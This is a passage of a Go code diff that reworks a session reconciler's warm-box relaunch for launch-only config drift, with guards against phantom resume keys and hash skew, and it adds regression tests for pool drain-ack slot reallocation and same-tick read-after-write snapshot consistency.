+	// before Relaunch prevents execution, and relaunchAbortResidueFold clears the key
+	// on every abort path.
+	hadResumeKeyBeforePrepare := strings.TrimSpace(session.Metadata["session_key"]) != ""
+	// Derive the executable config exactly as the fresh-start / pending-create
+	// recovery paths do. cityPath resolves session.Metadata["work_dir"] against
+	// the city; the nil work-dir resolver is correct because both call sites sit
+	// behind the no-open-assigned-work / not-active deferral guards. Deliberately
+	// buildPreparedStart*, NOT prepareStartCandidateForCity — the session is
+	// alive, not waking, so no preWakeCommit / named-template refresh.
+	prepared, err := buildPreparedStartWithWorkDirResolver(startCandidate{session: session, tp: tp}, cityPath, cfg, store, nil)
+	if err != nil {
+		fmt.Fprintf(stderr, "session reconciler: preparing relaunch config for %s: %v; falling back to full restart\n", name, err) //nolint:errcheck
+		return false, relaunchAbortResidueFold(session, sessFront, hadResumeKeyBeforePrepare)
+	}
+	// Anti-skew gate: the launch-only-drift verdict was computed from the
+	// hash-form config; relaunch only if it still holds for the prepared config.
+	// A mismatch means a concurrent bead mutation or a derivation divergence
+	// between the hash-form and prepared configs — take the full restart rather
+	// than relaunch-then-rebaseline against an unverified baseline.
+	if prepared.coreHash != currentHash || prepared.provisionHash != storedProvisionHash || prepared.launchHash == storedLaunchHash {
+		fmt.Fprintf(stderr, "session reconciler: relaunch precondition skew for %s (core=%v provision=%v launch-unchanged=%v); falling back to full restart\n", //nolint:errcheck
+			name, prepared.coreHash != currentHash, prepared.provisionHash != storedProvisionHash, prepared.launchHash == storedLaunchHash)
+		return false, relaunchAbortResidueFold(session, sessFront, hadResumeKeyBeforePrepare)
+	}
+	// A warm-box relaunch resumes a TRACKED conversation. When the bead carried no
+	// session_key before preparation but buildPreparedStart minted one — a
+	// SessionIDFlag provider with no prior key (session_lifecycle_parallel.go:911)
+	// — that key is speculative: started_config_hash is set, so firstStart is false
+	// and resolveSessionCommand built `--resume <minted-key>` for a conversation
+	// that was never created. Executing that relaunch resumes a phantom, and a
+	// provider that reports success would then rebaseline and persist the minted
+	// key, tying every future start to a conversation that does not exist. Fall back
+	// to the full restart, which starts fresh; relaunchAbortResidueFold clears the
+	// speculative key so resetConfiguredNamedSessionForConfigDrift's preserve-resume
+	// gate cannot carry it forward.
+	//
+	// Scope this to an ACTUAL mint (session_key populated only during preparation),
+	// not merely "no prior key": a provider that mints no key (nil resolver, no
+	// SessionIDFlag) built no `--resume`, so its bare warm relaunch carries no
+	// phantom and must still proceed. A merely-stale prior key is also unaffected —
+	// buildPreparedStart cleared it and zeroed started_config_hash before
+	// re-minting, so firstStart is true, the command is a fresh `--session-id`, and
+	// hadResumeKeyBeforePrepare is true, so this guard does not fire.
+	if mintedSpeculativeResumeKey := !hadResumeKeyBeforePrepare && strings.TrimSpace(session.Metadata["session_key"]) != ""; mintedSpeculativeResumeKey {
+		fmt.Fprintf(stderr, "session reconciler: launch-drift relaunch for %s minted a speculative resume key (no prior conversation); falling back to full restart\n", name) //nolint:errcheck
+		return false, relaunchAbortResidueFold(session, sessFront, hadResumeKeyBeforePrepare)
+	}
+	if err := r.Relaunch(ctx, name, prepared.cfg); err != nil {
 		// ErrRelaunchUnsupported (a wrapper whose backend cannot relaunch) or a
 		// genuine failure (e.g. the warm box vanished → ErrSessionNotFound). Fall
 		// back to the full restart so the launch change is still applied.
 		if !errors.Is(err, runtime.ErrRelaunchUnsupported) {
 			fmt.Fprintf(stderr, "session reconciler: relaunch %s: %v; falling back to full restart\n", name, err) //nolint:errcheck
 		}
-		return false
+		return false, relaunchAbortResidueFold(session, sessFront, hadResumeKeyBeforePrepare)
 	}
 	fmt.Fprintf(stdout, "Launch-only config change for '%s', relaunched agent in warm box\n", tp.DisplayName()) //nolint:errcheck
 	// Rebaseline the Core baseline (started_config_hash) and the partition
-	// sub-hashes so the next tick sees no Core drift. started_live_hash is
+	// sub-hashes so the next tick sees no Core drift. The hashes come from
+	// buildPreparedStart's PRE-rewrite fingerprints (prepared.coreHash etc.), NOT
+	// the executed prepared.cfg (which carries the --resume rewrite + runtime env,
+	// neither a fingerprint input), so the baseline matches what the next tick's
+	// sessionCoreConfigForHash comparison reproduces. started_live_hash is
 	// DELIBERATELY left untouched: a relaunch MAY re-run SessionLive via the
 	// shared orchestration tail (tmux and ssh do; k8s does not), so the live
 	// half is not reliably re-applied here. Leaving the live hash alone keeps
 	// this provider-independent — any concurrent live drift is re-applied
 	// idempotently by the live-drift clause on the next tick (a redundant
 	// SessionLive re-apply is harmless; a missed one self-heals).
-	if err := rebaselineLaunchDriftHashes(session, sessFront, agentCfg); err != nil {
+	launchBatch, rebaseErr := rebaselineLaunchDriftHashesWithBatch(session, sessFront, prepared.coreHash, prepared.provisionHash, prepared.launchHash, prepared.coreBreakdown)
+	if rebaseErr != nil {
 		// The agent is already relaunched; do not trigger a second restart. The
-		// stale Core baseline self-corrects on a later rebaseline tick.
-		fmt.Fprintf(stderr, "session reconciler: rebaselining launch-drift hashes for %s: %v\n", name, err) //nolint:errcheck
+		// stale Core baseline self-corrects on a later rebaseline tick. Fold the
+		// prepare residue so the snapshot still matches the raw bead.
+		fmt.Fprintf(stderr, "session reconciler: rebaselining launch-drift hashes for %s: %v\n", name, rebaseErr) //nolint:errcheck
+		launchBatch = pendingCreateResidueFold(session)
+	} else if tok := session.Metadata["instance_token"]; tok != "" && launchBatch != nil {
+		// buildPreparedStart may mint instance_token onto the raw bead + store
+		// (SetMarker) — a residue outside the rebaseline patch. Carry it in the
+		// fold so the snapshot reflects it (mirrors pendingCreateResidueFold). Guard
+		// the write on launchBatch != nil: rebaselineLaunchDriftHashesWithBatch
+		// documents a (nil, nil) return when the session/front-door is nil, and a
+		// write to a nil map panics.
+		launchBatch["instance_token"] = tok
 	}
 	if trace != nil {
-		trace.recordDecision("reconciler.session.config_drift", tp.TemplateName, name, "config_drift", "relaunch", configDriftTracePayload(storedHash, currentHash, driftedFields, nil), nil, "")
+		trace.RecordDecision(TraceSiteReconcilerConfigDrift, TraceReasonConfigDrift, TraceOutcomeRelaunch, tp.TemplateName, name, configDriftTracePayload(storedHash, currentHash, driftedFields, nil))
 	}
 	rec.Record(events.Event{
 		Type:    events.SessionUpdated,
@@ -4225,43 +5059,79 @@ func relaunchAgentForLaunchDrift(
 		Subject: tp.DisplayName(),
 		Message: "agent relaunched (launch-only config change)",
 	})
-	return true
+	return true, launchBatch
+}
+
+// relaunchAbortResidueFold is the buildPreparedStart residue fold for the paths
+// that abort the launch-only-drift relaunch (prepare error, anti-skew skew, or
+// relaunch failure) and fall back to the full restart. It exists to keep a
+// speculatively-minted resume key from surviving the fallback.
+//
+// When the bead carried no session_key before preparation,
+// buildPreparedStartWithWorkDirResolver minted one (persisting it to the raw
+// bead + store via SetMarker) so it could build the relaunch command. That key
+// names a conversation the aborted relaunch never created. Left in place,
+// resetConfiguredNamedSessionForConfigDrift would see a non-empty session_key
+// plus the stale started_config_hash and PRESERVE both, so the next start would
+// --resume a phantom conversation instead of doing the fresh restart the
+// fallback is meant to provide. Clear the speculative key exactly as
+// buildPreparedStart's own stale-resume guard does (session_key +
+// started_config_hash + continuation_reset_pending, raw bead + store), which the
+// pendingCreateResidueFold below then folds onto the caller's snapshot.
+//
+// When a real resume key predated preparation, leave it untouched so the
+// fallback resumes the prior conversation (the intended preserve-resume path).
+func relaunchAbortResidueFold(session *beads.Bead, sessFront *sessionpkg.Store, hadResumeKeyBeforePrepare bool) map[string]string {
+	if session != nil && !hadResumeKeyBeforePrepare && strings.TrimSpace(session.Metadata["session_key"]) != "" {
+		clearStaleResumeKeyMetadata(session, sessFront)
+	}
+	return pendingCreateResidueFold(session)
 }
 
-// rebaselineLaunchDriftHashes moves a session's Core drift baseline to agentCfg
-// after a successful warm-box relaunch — started_config_hash + the provision/
-// launch sub-hashes + core_hash_breakdown — WITHOUT touching started_live_hash/
-// live_hash. The relaunch re-applied the launch half (the agent now runs
-// agentCfg); the provision half was unchanged by definition. The live hash is
-// left untouched because relaunch does not reliably re-apply the live half
-// (tmux/ssh re-run SessionLive via the shared orchestration tail; k8s does
-// not), so a concurrent SessionLive change is re-applied idempotently by the
-// live-drift clause on the next tick. Contrast sessionHashRebaselineMetadata,
-// which rebaselines every field (used when the config did not actually change).
-func rebaselineLaunchDriftHashes(session *beads.Bead, sessFront *sessionpkg.InfoStore, agentCfg runtime.Config) error {
+// rebaselineLaunchDriftHashesWithBatch moves a session's Core drift baseline to
+// the relaunched config after a successful warm-box relaunch —
+// started_config_hash + the provision/launch sub-hashes + core_hash_breakdown —
+// WITHOUT touching started_live_hash/live_hash. The relaunch re-applied the
+// launch half (the agent now runs the prepared config); the provision half was
+// unchanged by definition. The live hash is left untouched because relaunch does
+// not reliably re-apply the live half (tmux/ssh re-run SessionLive via the
+// shared orchestration tail; k8s does not), so a concurrent SessionLive change
+// is re-applied idempotently by the live-drift clause on the next tick. Contrast
+// sessionHashRebaselineMetadata, which rebaselines every field (used when the
+// config did not actually change).
+//
+// The hashes are passed in explicitly (from buildPreparedStart's pre-rewrite
+// fingerprints) rather than recomputed here: the executed config carries the
+// resolveSessionCommand --resume/--session-id rewrite and runtime env, which are
+// NOT fingerprint inputs, so the baseline must be the durable-config hashes the
+// next tick's sessionCoreConfigForHash comparison will reproduce.
+//
+// Returns the mirrored patch on success so the caller can fold it onto the typed
+// snapshot via ApplyPatch. Returns (nil, nil) when there is nothing to do (nil
+// session/front-door), (nil, err) on any failure.
+func rebaselineLaunchDriftHashesWithBatch(session *beads.Bead, sessFront *sessionpkg.Store, coreHash, provisionHash, launchHash string, breakdown runtime.BreakdownV1) (map[string]string, error) {
 	if session == nil || sessFront == nil {
-		return nil
+		return nil, nil
 	}
-	breakdownJSON, err := json.Marshal(runtime.CoreFingerprintBreakdown(agentCfg))
+	breakdownJSON, err := json.Marshal(breakdown)
 	if err != nil {
-		return fmt.Errorf("marshaling core_hash_breakdown: %w", err)
+		return nil, fmt.Errorf("marshaling core_hash_breakdown: %w", err)
 	}
 	patch := map[string]string{
-		"started_config_hash":    runtime.CoreFingerprint(agentCfg),
-		"started_provision_hash": runtime.ProvisionFingerprint(agentCfg),
-		"started_launch_hash":    runtime.LaunchFingerprint(agentCfg),
+		"started_config_hash":    coreHash,
+		"started_provision_hash": provisionHash,
+		"started_launch_hash":    launchHash,
 		"core_hash_breakdown":    string(breakdownJSON),
 	}
 	if err := sessFront.ApplyPatch(session.ID, patch); err != nil {
-		return fmt.Errorf("rebaselining launch-drift hashes: %w", err)
-	}
-	if session.Metadata == nil {
-		session.Metadata = make(map[string]string, len(patch))
-	}
-	for k, v := range patch {
-		session.Metadata[k] = v
-	}
-	return nil
+		return nil, fmt.Errorf("rebaselining launch-drift hashes: %w", err)
+	}
+	// The caller folds the returned patch onto the typed snapshot (write-returns-
+	// Info). These rebaselined hash fields are never read off the raw session bead
+	// this tick — the drift decision reads Info and the start path re-reads the
+	// hash off a fresh store.Get — so Step 5c dropped the raw session.Metadata
+	// mirror.
+	return patch, nil
 }
 
 // resolveSessionCommand returns the command to use when starting a session.
diff --git a/cmd/gc/session_reconciler_pool_replacement_test.go b/cmd/gc/session_reconciler_pool_replacement_test.go
new file mode 100644
index 0000000000..3682f9ff0a
--- /dev/null
+++ b/cmd/gc/session_reconciler_pool_replacement_test.go
@@ -0,0 +1,282 @@
+package main
+
+import (
+	"context"
+	"io"
+	"os"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/clock"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/events"
+	"github.com/gastownhall/gascity/internal/runtime"
+)
+
+// TestReconcileSessionBeads_DrainAckNoWorkFreesSlotAndReallocates is the
+// end-to-end regression guard for gastownhall/gascity#2520 ("pool over-counts
+// supply when session drain-acks with no work and bead stays active").
+//
+// Scenario (min_active=0, max>=2 pool; two routed-ready beads; two sessions
+// race to claim one): the winner takes bead-1 (in_progress), the loser gets
+// "already claimed" and calls `gc runtime drain-ack` with NO work attached.
+// The report claimed the loser's session bead lingers in state=active, the
+// pool counts it as an occupied supply slot, and the next still-ready bead is
+// never served until an operator runs `gc session close`.
+//
+// The maintainer classified #2520 as test-hardening: current main already
+// behaves correctly (the drain-ack lands the loser in a terminal drained state,
+// and a drained pool bead is excluded from the running-session supply count so
+// the still-ready work is still served), but the full "no-work pool drain-ack
+// PLUS replacement-allocation" path had no end-to-end coverage. Existing tests
+// stop at the state transition or the pool-bead close; none then re-drives the
+// supply probe to prove the drained loser is excluded AND a replacement slot is
+// desired for the still-ready queue bead. This test locks in both halves.
+//
+// The second sub-test is the load-bearing regression assertion: it fails RED on
+// the pre-#3419 revision (where poolSessionIsLive did not exclude drained pool
+// beads, so a phantom drained bead counted toward runningSessions, forced
+// isCold=false, suppressed the cold-wake probe, and stranded the ready bead —
+// exactly #2520's over-count symptom) and passes on current main.
+func TestReconcileSessionBeads_DrainAckNoWorkFreesSlotAndReallocates(t *testing.T) {
+	// Part 1 — the real reconciler drains a no-work drain-acking loser to a
+	// terminal state (it does NOT linger in state=active), which is the
+	// precondition the #2520 report says was violated.
+	t.Run("reconciler_drains_no_work_loser_to_terminal", func(t *testing.T) {
+		now := time.Date(2026, 3, 8, 12, 0, 0, 0, time.UTC)
+		cityDir := t.TempDir()
+		writeCityTOML(t, cityDir, "trace-town", "worker")
+
+		cfg := &config.City{
+			Workspace: config.Workspace{Name: "trace-town"},
+			Session:   config.SessionConfig{Provider: "fake"},
+			Agents: []config.Agent{{
+				Name:              "worker",
+				Dir:               "repo",
+				StartCommand:      "true",
+				MinActiveSessions: intPtr(0),
+				MaxActiveSessions: intPtr(2),
+			}},
+		}
+		store := beads.NewMemStore()
+		sp := runtime.NewFake()
+
+		// Two routed-ready beads. bead-1 goes in_progress under the winner;
+		// bead-2 stays ready in the queue.
+		beadOne := createRoutedReadyBeadForReplacement(t, store, "repo/worker", "queued work 1")
+		createRoutedReadyBeadForReplacement(t, store, "repo/worker", "queued work 2")
+
+		// Winner: slot 1, active, holds bead-1 in_progress.
+		winner := createCanonicalPoolSession(t, store, &cfg.Agents[0], now, 1)
+		setPoolSessionActive(t, store, winner.ID)
+		if err := sp.Start(context.Background(), winner.Metadata["session_name"], runtime.Config{}); err != nil {
+			t.Fatalf("start winner runtime: %v", err)
+		}
+		statusInProgress := "in_progress"
+		winnerAssignee := winner.ID
+		if err := store.Update(beadOne.ID, beads.UpdateOpts{Status: &statusInProgress, Assignee: &winnerAssignee}); err != nil {
+			t.Fatalf("assign bead-1 to winner: %v", err)
+		}
+
+		// Loser: slot 2, active, NO assigned work, agent-set drain-ack (the
+		// #1425 stranded event never fires because hasAssignedWork=false).
+		loser := createCanonicalPoolSession(t, store, &cfg.Agents[0], now, 2)
+		setPoolSessionActive(t, store, loser.ID)
+		loser, err := store.Get(loser.ID)
+		if err != nil {
+			t.Fatalf("reload loser: %v", err)
+		}
+		loserName := loser.Metadata["session_name"]
+		if err := sp.Start(context.Background(), loserName, runtime.Config{}); err != nil {
+			t.Fatalf("start loser runtime: %v", err)
+		}
+		dops := newFakeDrainOps()
+		if err := dops.setDrainAck(loserName); err != nil {
+			t.Fatalf("setDrainAck(loser): %v", err)
+		}
+
+		ds := buildDesiredState("trace-town", cityDir, now, cfg, sp, store, io.Discard)
+		dt := newDrainTracker()
+		clk := &clock.Fake{Time: now}
+
+		// Tick 1: alive + agent-sourced drain-ack -> mark stop-pending and queue
+		// the async provider stop.
+		reconcileSessionBeads(
+			context.Background(), []beads.Bead{loser}, ds.State, map[string]bool{"repo/worker": true},
+			cfg, sp, store, dops, nil, nil, dt, ds.PoolDesiredCounts, false, nil, "trace-town",
+			nil, clk, events.Discard, 0, 0, io.Discard, io.Discard,
+		)
+		waitForProviderStopped(t, sp, loserName)
+
+		reloaded, err := store.Get(loser.ID)
+		if err != nil {
+			t.Fatalf("reload loser after tick 1: %v", err)
+		}
+
+		// Tick 2: runtime is gone -> finalize the stop-pending session to a
+		// terminal drained state (pool-managed + no work -> close the bead).
+		reconcileSessionBeads(
+			context.Background(), []beads.Bead{reloaded}, ds.State, map[string]bool{"repo/worker": true},
+			cfg, sp, store, dops, nil, nil, dt, ds.PoolDesiredCounts, false, nil, "trace-town",
+			nil, clk, events.Discard, 0, 0, io.Discard, io.Discard,
+		)
+
+		got, err := store.Get(loser.ID)
+		if err != nil {
+			t.Fatalf("reload loser after tick 2: %v", err)
+		}
+		// #2520's precondition for the over-count is the loser lingering as a
+		// live session. Assert it did NOT: it reached a terminal drained state.
+		if got.Metadata["state"] == "active" && got.Status != "closed" {
+			t.Fatalf("no-work drain-acked loser lingered as a live supply slot: state=%q status=%q metadata=%v",
+				got.Metadata["state"], got.Status, got.Metadata)
+		}
+		if got.Metadata["state"] != "drained" {
+			t.Fatalf("loser state = %q, want drained", got.Metadata["state"])
+		}
+		if poolSessionIsLive(got) {
+			t.Fatalf("drained loser still reports poolSessionIsLive=true; it would over-count supply: metadata=%v", got.Metadata)
+		}
+	})
+
+	// Part 2 — replacement-allocation. A drained phantom pool session (the exact
+	// terminal state Part 1 produces, but left open in the store as the report
+	// describes it "lingering") must be excluded from the running-session supply
+	// count, so a min=0 pool with still-ready cross-store work is NOT treated as
+	// warm: its cold-wake probe fires and desires a replacement slot to serve the
+	// stranded bead.
+	//
+	// This is the RED assertion: on the pre-#3419 revision the drained phantom
+	// counts toward runningSessions -> isCold=false -> cold-wake probe suppressed
+	// -> demand 0 and no desired slot (the ready bead is stranded). On current
+	// main the phantom is excluded -> isCold=true -> demand 1 and one desired
+	// slot. The parallel "active" sub-case is the control: a genuinely-live
+	// session MUST still suppress the probe.
+	t.Run("drained_phantom_excluded_from_supply_reallocates", func(t *testing.T) {
+		cases := []struct {
+			name          string
+			meta          map[string]string
+			wantDemand    int
+			wantSlots     int
+			wantStillLive bool
+		}{
+			{
+				name:       "drained_phantom_frees_slot",
+				meta:       map[string]string{"state": "drained"},
+				wantDemand: 1, wantSlots: 1, wantStillLive: false,
+			},
+			{
+				name:       "asleep_idle_phantom_frees_slot",
+				meta:       map[string]string{"state": "asleep", "sleep_reason": "idle"},
+				wantDemand: 1, wantSlots: 1, wantStillLive: false,
+			},
+			{
+				name:       "active_session_still_suppresses_probe",
+				meta:       map[string]string{"state": "active"},
+				wantDemand: 0, wantSlots: 0, wantStillLive: true,
+			},
+		}
+		for _, tc := range cases {
+			t.Run(tc.name, func(t *testing.T) {
+				tmpDir := t.TempDir()
+				rigPath := tmpDir + "/rigs/rig-A"
+				if err := os.MkdirAll(rigPath, 0o755); err != nil {
+					t.Fatalf("mkdir rig path: %v", err)
+				}
+				maxSess := 5
+				minSess := 0
+				cfg := &config.City{
+					Agents: []config.Agent{{
+						Name:              "worker",
+						MaxActiveSessions: &maxSess,
+						MinActiveSessions: &minSess,
+						ScaleCheck:        "printf 0", // custom check reports 0; only a cold-wake probe can raise demand
+						Dir:               "rig-A",
+						Provider:          "mock",
+					}},
+					Rigs:      []config.Rig{{Name: "rig-A", Path: rigPath}},
+					Providers: map[string]config.ProviderSpec{"mock": {Command: "true"}},
+				}
+				cityStore := beads.NewMemStore()
+				rigStore := beads.NewMemStore()
+				rigStores := map[string]beads.Store{"rig-A": rigStore}
+				qualifiedName := "rig-A/worker"
+
+				meta := map[string]string{
+					"template":     qualifiedName,
+					"session_name": "worker-1",
+					"pool_slot":    "1",
+				}
+				for k, v := range tc.meta {
+					meta[k] = v
+				}
+				phantom, err := rigStore.Create(beads.Bead{
+					ID: "session-loser", Status: "open", Type: sessionBeadType, Metadata: meta,
+				})
+				if err != nil {
+					t.Fatalf("create phantom pool session: %v", err)
+				}
+				if live := poolSessionIsLive(phantom); live != tc.wantStillLive {
+					t.Fatalf("poolSessionIsLive(%s phantom) = %v, want %v", tc.name, live, tc.wantStillLive)
+				}
+
+				// Still-ready routed bead delivered cross-store to the city store
+				// (the sleeping rig pool's own-store probe cannot see it, so only a
+				// cold-wake probe over all stores serves it).
+				if _, err := cityStore.Create(beads.Bead{
+					ID: "bead-ready", Status: "open", Type: "task",
+					Metadata: map[string]string{"gc.routed_to": qualifiedName},
+				}); err != nil {
+					t.Fatalf("create still-ready routed bead: %v", err)
+				}
+
+				result := buildDesiredStateWithSessionBeads(
+					"test-city", tmpDir, time.Now(), cfg, &localMockProvider{},
+					cityStore, rigStores, &sessionBeadSnapshot{}, nil, os.Stderr,
+				)
+				if demand := result.ScaleCheckCounts[qualifiedName]; demand != tc.wantDemand {
+					t.Fatalf("ScaleCheckCounts[%s] = %d, want %d (drained/asleep phantom must not over-count supply; #2520)",
+						qualifiedName, demand, tc.wantDemand)
+				}
+				workerSlots := 0
+				for _, tp := range result.State {
+					if tp.TemplateName == qualifiedName {
+						workerSlots++
+					}
+				}
+				if workerSlots != tc.wantSlots {
+					t.Fatalf("desired %s slots = %d, want %d (replacement slot for the still-ready bead)",
+						qualifiedName, workerSlots, tc.wantSlots)
+				}
+			})
+		}
+	})
+}
+
+func createRoutedReadyBeadForReplacement(t *testing.T, store beads.Store, template, title string) beads.Bead {
+	t.Helper()
+	b, err := store.Create(beads.Bead{
+		Title:    title,
+		Type:     "task",
+		Status:   "open",
+		Metadata: map[string]string{"gc.routed_to": template},
+	})
+	if err != nil {
+		t.Fatalf("create routed ready bead %q: %v", title, err)
+	}
+	return b
+}
+
+func setPoolSessionActive(t *testing.T, store beads.Store, id string) {
+	t.Helper()
+	for k, v := range map[string]string{
+		"state":                     "active",
+		"pending_create_claim":      "",
+		"pending_create_started_at": "",
+	} {
+		if err := store.SetMetadata(id, k, v); err != nil {
+			t.Fatalf("SetMetadata(%s=%s): %v", k, v, err)
+		}
+	}
+}
diff --git a/cmd/gc/session_reconciler_progress_test.go b/cmd/gc/session_reconciler_progress_test.go
index 82c8ffd191..d09c7477b7 100644
--- a/cmd/gc/session_reconciler_progress_test.go
+++ b/cmd/gc/session_reconciler_progress_test.go
@@ -88,6 +88,47 @@ func (e *restartRequestTestEnv) reconcileAtPath(cityPath string, sessions []bead
 	e.reconcileAtPathWithProvider(cityPath, e.sp, sessions)
 }
 
+// reconcileAtPathWithDrainOps is reconcileAtPathWithProvider with an injected
+// drainOps, so a test can seed a controller drain-ack (dops.isDrainAcked) — the
+// gate on the two finalizeDrainAckStoppedSession call sites that live below the
+// drain-ack-stop-pending fast path (the orphan drain-ack close and the
+// reconciler-owned drain-ack close). Everything else matches reconcileAtPath.
+func (e *restartRequestTestEnv) reconcileAtPathWithDrainOps(cityPath string, sessions []beads.Bead, dops drainOps) {
+	poolDesired := make(map[string]int)
+	for _, tp := range e.desiredState {
+		if tp.TemplateName != "" {
+			poolDesired[tp.TemplateName]++
+		}
+	}
+	cfgNames := configuredSessionNames(e.cfg, "", e.store)
+	_ = reconcileSessionBeadsAtPath(
+		context.Background(),
+		cityPath,
+		sessions,
+		e.desiredState,
+		cfgNames,
+		e.cfg,
+		e.sp,
+		e.store,
+		dops,
+		nil,
+		nil,
+		nil,
+		e.dt,
+		poolDesired,
+		false,
+		nil,
+		"",
+		nil,
+		e.clk,
+		e.rec,
+		0,
+		0,
+		&e.stdout,
+		&e.stderr,
+	)
+}
+
 func (e *restartRequestTestEnv) reconcileAtPathWithProvider(cityPath string, sp runtime.Provider, sessions []beads.Bead) {
 	poolDesired := make(map[string]int)
 	for _, tp := range e.desiredState {
diff --git a/cmd/gc/session_reconciler_read_after_write_test.go b/cmd/gc/session_reconciler_read_after_write_test.go
new file mode 100644
index 0000000000..2242510d5d
--- /dev/null
+++ b/cmd/gc/session_reconciler_read_after_write_test.go
@@ -0,0 +1,496 @@
+package main
+
+import (
+	"context"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/agent"
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/runtime"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
+)
+
+// Read-after-write harness (front-door migration Step 6d).
+//
+// The 6d cutover replaces the reconciler's raw-bead snapshot refresh
+// (refreshSessionInfo re-projecting *beadByID[id]) with write-returns-Info
+// (infoByID[id] = infoByID[id].ApplyPatch(batch) / markClosed), and then drops
+// the session.Metadata[k]=v lockstep and the raw working set. The byte-identical
+// write oracle (a recording fake store) is BLIND to same-tick stale reads
+// (RECONCILER-FRONT-DOOR-SPEC §2 governing principle): a converted write that
+// fails to refresh the infoByID snapshot is invisible until a LATER same-tick
+// read consumes the stale value and flips a decision. So every lockstep drop
+// needs a multi-session / read-after-write same-tick test — these.
+//
+// The harness exploits a determinism guarantee to place a write before a read in
+// one tick: topoOrder returns a single-template working set in slice order
+// (session_reconcile.go:1289 — empty deps returns `sessions` unchanged, and
+// same-template sessions keep input order otherwise). So when every seeded
+// session shares one template, a session earlier in the []beads.Bead slice is
+// visited (and its mutation refreshed onto the snapshot) before a later
+// session whose decision reads that mutation off the snapshot. Each test asserts
+// an OBSERVABLE outcome (a recycle / restart_requested / running state) that
+// flips iff the earlier write reached the later read through the snapshot, so it
+// fails loudly if a 6d conversion leaves the snapshot stale.
+//
+// Some sites (the zombie/heal helper-write refreshes) feed a WITHIN-iteration
+// read-after-write instead of a cross-session one: the write and the dependent
+// decision are both in the same session's own processing, so a single-session
+// bead placed at any index exercises it. TestReconcileSessionBeads_ZombieTerminalErrorReflectedOnSnapshot
+// is one — no second session is needed.
+
+// TestReconcileSessionBeads_ZombieTerminalErrorReflectedOnSnapshot guards the
+// zombie-capture refresh (session_reconciler.go ~1977): markProviderTerminalError
+// clears pending_create_claim (among other health/sleep metadata) on a zombie
+// session, and this tick folds that batch onto the snapshot via write-returns-Info
+// so the immediately-following post-zombie rollback read
+// (shouldRollbackPendingCreateInfo(infoPostZombie)) sees no claim and does NOT roll
+// the bead back.
+//
+// Scenario: a desired session (so it skips the heal and reaches the zombie block)
+// that is a zombie — tmux exists (running) but the process is dead (not alive) —
+// carrying pending_create_claim=true with an EXPIRED never-started lease and
+// terminal-error scrollback. With the fold working, the zombie batch's cleared
+// claim reaches infoPostZombie, the rollback is suppressed, and the bead stays
+// open. If the fold regresses (stale snapshot), infoPostZombie keeps the claim,
+// the expired lease fires the rollback, and the bead is closed — the assertion
+// below catches that.
+func TestReconcileSessionBeads_ZombieTerminalErrorReflectedOnSnapshot(t *testing.T) {
+	env, _, _ := newProgressStallTestEnv(t)
+
+	const zname = "worker-zombie-companion"
+	// Desired + registered with ProcessNames so the fake's ProcessAlive honors the
+	// zombie flag (running && !alive).
+	env.desiredState[zname] = TemplateParams{
+		Command:      "true",
+		SessionName:  zname,
+		TemplateName: "worker",
+		Hints:        agent.StartupHints{ProcessNames: []string{"true"}},
+		ResolvedProvider: &config.ResolvedProvider{
+			Name:          "zai",
+			SessionIDFlag: "--session-id",
+		},
+	}
+	// pending_create_claim with an EXPIRED never-started lease: if the claim
+	// survives to the post-zombie rollback read, the reconciler rolls the bead back
+	// and closes it.
+	startedAt := env.clk.Now().Add(-(pendingCreateNeverStartedTimeout + time.Second))
+	companion := env.createSessionBead(zname)
+	env.setSessionMetadata(&companion, map[string]string{
+		"state":                     "creating",
+		"pending_create_claim":      "true",
+		"pending_create_started_at": pendingCreateStartedAtNow(startedAt),
+	})
+
+	// Zombie: tmux session exists but the process is dead, with terminal-error
+	// scrollback so markProviderTerminalError fires and writes its batch.
+	if err := env.sp.Start(context.Background(), zname, runtime.Config{Command: "true"}); err != nil {
+		t.Fatalf("start zombie companion: %v", err)
+	}
+	env.sp.Zombies[zname] = true
+	env.sp.SetPeekOutput(zname, "model_not_found")
+
+	env.reconcileAtPath(t.TempDir(), []beads.Bead{companion})
+
+	got, err := env.store.Get(companion.ID)
+	if err != nil {
+		t.Fatalf("store.Get(%s): %v", companion.ID, err)
+	}
+	// Precondition: the zombie terminal-error path actually ran (otherwise the
+	// read-after-write is not exercised and the teeth-check would be vacuous).
+	if got.Metadata["provider_terminal_error"] == "" {
+		t.Fatalf("provider_terminal_error not recorded — the zombie terminal-error path did not run; scenario precondition unmet (metadata=%v)", got.Metadata)
+	}
+	// The read-after-write assertion: the zombie batch cleared pending_create_claim
+	// on the snapshot, so the post-zombie rollback read is suppressed and the bead
+	// is NOT closed.
+	if got.Status == "closed" {
+		t.Fatalf("zombie companion was rolled back and closed; markProviderTerminalError cleared pending_create_claim, so the folded post-zombie snapshot must suppress the rollback read — the terminal-error batch did not reach infoPostZombie (stale snapshot at the zombie refresh)")
+	}
+}
+
+// TestReconcileSessionBeads_HealStateReflectedOnSnapshot guards the heal refresh
+// (session_reconciler.go ~1706): healStateWithRollback projects a live
+// start-pending session to state=awake and mirrors that batch, and this tick folds
+// it onto the snapshot via write-returns-Info so the post-heal
+// pendingCreateSessionStillLeased guard (which reads MetadataState off infoPostHeal)
+// sees the healed state.
+//
+// This site became load-bearing in this same commit: the downstream zombie refresh
+// used to be a full raw re-projection that would repair a stale heal snapshot, but
+// it is now ApplyPatch(terminalErrBatch) — a no-op when there is no terminal error —
+// so the heal fold alone carries the healed state to the guard.
+//
+// Scenario: an undesired (not in desiredState), non-named session bead with
+// state=start-pending and a LIVE runtime. The heal rewrites state->awake; with the
+// fold working, infoPostHeal is awake (not "start requested"), the
+// pendingCreateSessionStillLeased guard is false, and the reconciler drains the live
+// orphan (a drain-tracker entry). With the fold stale, infoPostHeal keeps
+// start-pending, the guard treats the bead as a live pending-create, and it is kept
+// open with NO drain — the assertion below catches that.
+func TestReconcileSessionBeads_HealStateReflectedOnSnapshot(t *testing.T) {
+	env, _, _ := newProgressStallTestEnv(t)
+
+	const hname = "worker-heal-orphan-companion"
+	// Undesired, non-named (createSessionBead does not set the named-session
+	// metadata), state=start-pending, with a live runtime so providerAlive is true
